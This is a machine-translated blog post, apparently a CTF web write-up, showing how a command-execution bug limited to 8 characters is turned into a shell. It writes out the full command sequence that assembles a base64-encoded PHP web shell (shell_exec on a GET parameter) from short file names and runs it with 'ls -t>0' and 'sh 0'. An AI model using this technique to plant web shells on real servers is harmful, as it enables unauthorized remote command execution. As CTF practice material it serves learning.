当前位置:网站首页>CTF_ Web:8-bit controllable character getshell
CTF_ Web:8-bit controllable character getshell
2022-06-25 04:30:00 【AFCC_】
Title source
Practicing recently CTF Medium web I encountered a problem 8 You can execute commands at will within characters , In the end getshell The subject of , I found that many predecessors have written this type of problem solution , But you also need to practice yourself , The title source code is accessed as shown in the figure :
Ideas : You can see that when the submitted parameters 1 Contains values less than 8 When a , Will be executed as a command , First ?1=ls All file names were found to exceed 8 position , Obviously, this alone 8 Bit execution commands are not sufficient cat Some document , So you need to execute the code with the spliced file name getshell.
Use knowledge points to solve problems
>a " stay linux This file will be created directly in , But there's no content "
ls -t " Arrange the files in the directory in chronological order , The last one created comes first "
sh a " Will file a All the contents of the are executed with the command "
who/
am/
i "Linux Command splices in / Will follow the order whoami perform "
for example 
In this topic is to write a one sentence Trojan horse to a file , Then visit this sentence to getshell, The command used here to create a sentence is :
echo <?php echo shell_exec($_GET[1]); >1.php " Easy to view echo "
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php " Use base64 To avoid $ Failed to input special characters "
Input this passage in reverse order and then use it ls -t>0 Execute in the positive order input text , You can generate a one sentence Trojan horse , Note that all characters must be \ escape .
>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
Use cat a see ls -t Written content 
Use ls see sh a Whether the generation was successfully executed 1.php
And connect to use mv flag.php flag.txt take flag It is amended as follows txt Format .
Final visit flag.txt obtain flag
边栏推荐
- i. Max development board learning record
- [openwrt] we recommend a domestically developed version of openwrt, an introduction to istoreos. It is very easy to use. It is mainly optimized. It solves the problem of Sinicization.
- "How to carry out industrial positioning" in local / Park industrial planning
- 地方/園區產業規劃之 “ 如何進行產業定比特 ”
- Although the Internet in the traditional sense has long ceased to exist, this does not mean that the Internet has long disappeared
- 2021.4.15 note the difference between let, const and VaR in ES6
- Anaconda installation +tensorflow installation +keras installation +numpy installation (including image and version information compatibility issues)
- Detailed explanation of flex attributes in flex layout
- 【LeetCode】148. 排序链表
- Laravel document sorting 7. View
猜你喜欢
![[proteus simulation] Arduino uno key controls the flashing increase / decrease display of nixie tube](/img/28/33f3e9736a68439b5bcdc4e75c939c.png)
[proteus simulation] Arduino uno key controls the flashing increase / decrease display of nixie tube

Value transfer between parent and child components of wechat applet

讲座记录《多种空间大地测量技术的数据处理方法和应用》

文本关键词提取:ansj

How to draw an industry investment map

Lecture record: data processing methods and applications of various spatial geodetic techniques

95% of programmers fish here

论文笔记: 多标签学习 ESMC (没看懂, 还没写出来, 暂时放这里占个位置)

Shutter fittedbox component

数字时代的“文艺复兴”?起底数字藏品,让人欢喜让人愁
随机推荐
地方/园区产业规划之 “ 如何进行产业定位 ”
numpy np tips:使用opencv对数组插值放缩到固定形状 cv2.resize(res, dsize=(64, 64), interpolation=cv2.INTER_CUBIC)
Summary of various problems encountered by cocos2d-x
Flutter FittedBox组件
1、项目第二阶段——用户注册和登陆
UCLA | 用于黑盒优化的生成式预训练
Synchronous and asynchronous functions (callback function, promise, generator, async/await)
[proteus simulation] Arduino uno key controls the flashing increase / decrease display of nixie tube
【LeetCode】143. 重排链表
Nodejs 通过Heidisql连接mysql出现ER_BAD_DB_ERROR: Unknown database 'my_db_books'
Laravel document sorting 7. View
i. Max development board learning record
2021.4.15 note the difference between let, const and VaR in ES6
Can Navicat directly operate the Android database SQLite
Laravel document sorting 11. System architecture
ThinkPHP is integrated with esaywechat. What's wrong with wechat payment callback without callback?
acmStreamOpen返回值问题
cnpm : 无法加载文件 C:\Users\Administrator\AppData\Roaming\npm\cnpm.ps1,因为在此系统上禁止运行脚本。
Sourcetree pulls the code and prompts to fill in authentic, but the configuration cannot change the user
Doubts about judging the tinyint field type of MySQL